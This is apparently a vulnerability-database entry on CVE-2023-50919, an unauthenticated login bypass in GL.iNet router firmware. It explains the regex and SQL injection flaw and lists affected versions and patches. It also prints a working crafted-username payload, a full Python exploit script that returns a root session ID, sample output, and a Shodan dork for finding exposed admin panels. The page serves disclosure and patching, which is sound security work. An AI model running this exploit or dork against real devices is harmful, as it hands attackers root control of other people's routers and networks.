Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2023-50919

Disclosure Date: January 12, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Credential Access
Techniques
Validation
Validated
Execution
Techniques
Validation
Validated
Initial Access
Techniques
Validation
Validated

Description

An issue was discovered on GL.iNet devices before version 4.5.0. There is an NGINX authentication bypass via Lua string pattern matching. This affects A1300 4.4.6, AX1800 4.4.6, AXT1800 4.4.6, MT3000 4.4.6, MT2500 4.4.6, MT6000 4.5.0, MT1300 4.3.7, MT300N-V2 4.3.7, AR750S 4.3.7, AR750 4.3.7, AR300M 4.3.7, and B1300 4.3.7.

Add Assessment

1
Ratings
Technical Analysis

There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY who discovered this vulnerability in October 2023.

I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism which is the standard for GL.iNet network devices.

Within the this code there is a loop through the /etc/shadow file to authenticate a user where the username is used for the lookup using a regex.
By manipulating the username with additional regex statements, one can manipulate the lookup, so that it retrieves the uid field instead of the password field, hence using this for a valid root login will return a session id (SID) to be used for authentication.

local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

Regex injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one.

root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::

With the following username: root:[^:]+:[^:]+ the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+) that shifts forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>.

Additionally, some ACL’s are required that are stored in the SQLite db. This lookup, which is coded in /usr/lib/lua/oui/db.lua, is not successful because we manipulated the username.

M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end

However, by a brilliant combination of the regex and sql injection, DZONERZY was able to retrieve that information in one go with the username below.

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

Pretty cool !!!

But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel") are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.

Below is a python script that checks if your device is vulnerable for CVE-2023-50919.

#!/usr/bin/env python3

# Exploit Title: GL.iNet Authentication bypass
# Shodan Dork: title:"GL.iNet Admin Panel"
# Date: 30/12/2023
# Exploit Author: h00die-gr3y@gmail.com
# Vendor Homepage: https://www.gli-inet.com
# Software Link: https://dl.gl-inet.com/?model=ar300m16
# Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin
# Version: 4.3.7
# Tested on: GL.iNet AR300M16
# CVE: CVE-2023-50919

import json
import requests
import hashlib
import time
from random import randint
from sys import stdout, argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxies = {
   'http': 'http://127.0.0.1:8080',
   'https': 'http://127.0.0.1:8080',
}

proxies = {} # no proxy

def get_challenge(url):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'challenge',
                'params': {'username': 'root'}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['nonce']
                print('[-] Error: could not find nonce')
                return False
        except requests.exceptions.RequestException:
                print('[-] Error while retrieving challenge')
        return False


def login(url, username, hash):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'login',
                'params': {
                        'username': '{}'.format(username),
                        'hash': '{}'.format(hash)}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['sid']
                print('[-] Error: could not find sid')
                return False

        except requests.exceptions.RequestException:
                print('[-] Error while retrieving sid')
        return False

def main(url):
        print('[+] Started GL.iNet - Authentication Bypass exploit')
        username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
        pw = '0'
        print('[+] Get challenge and login')
        start = time.time()
        nonce = get_challenge(url+'/rpc')
        if nonce:
                print('[+] nonce: {}'.format(nonce))
                hash_str = username+':'+pw+':'+nonce
                hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest()
                print('[+] hash: {}'.format(hash))
                sid = login(url+'/rpc', username, hash)
                print(f'[+] Time elapsed: {time.time() - start}')
                if sid:
                        print('[+] sid: {}'.format(sid))


if __name__ == '__main__':
        if len(argv) < 2:
                print('Usage: {} <TARGET_URL>'.format(argv[0]))
                exit(1)

        main(argv[1])
# python ./auth-bypass.py http://192.168.8.1
[+] Started GL.iNet - Authentication Bypass exploit
[+] Get challenge and login
[+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt
[+] hash: 01f250624caab2acaf4feb290dd45d33
[+] Time elapsed: 2.650479793548584
[+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e

Mitigation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0
  • MT6000: v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7
  • E750/E750V2, MV1000: v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page

Credits

  • DZONERZY
CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • gl-inet

Products

  • gl-a1300 firmware 4.3.7,
  • gl-a1300 firmware 4.4.6,
  • gl-ar300m firmware 4.3.7,
  • gl-ar300m firmware 4.4.6,
  • gl-ar750 firmware 4.3.7,
  • gl-ar750 firmware 4.4.6,
  • gl-ar750s firmware 4.3.7,
  • gl-ar750s firmware 4.4.6,
  • gl-ax1800 firmware 4.3.7,
  • gl-ax1800 firmware 4.4.6,
  • gl-axt1800 firmware 4.3.7,
  • gl-axt1800 firmware 4.4.6,
  • gl-b1300 firmware 4.3.7,
  • gl-b1300 firmware 4.4.6,
  • gl-mt1300 firmware 4.3.7,
  • gl-mt1300 firmware 4.4.6,
  • gl-mt2500 firmware 4.3.7,
  • gl-mt2500 firmware 4.4.6,
  • gl-mt3000 firmware 4.3.7,
  • gl-mt3000 firmware 4.4.6,
  • gl-mt300n-v2 firmware 4.3.7,
  • gl-mt300n-v2 firmware 4.4.6,
  • gl-mt6000 firmware 4.3.7,
  • gl-mt6000 firmware 4.4.6

Additional Info

Technical Analysis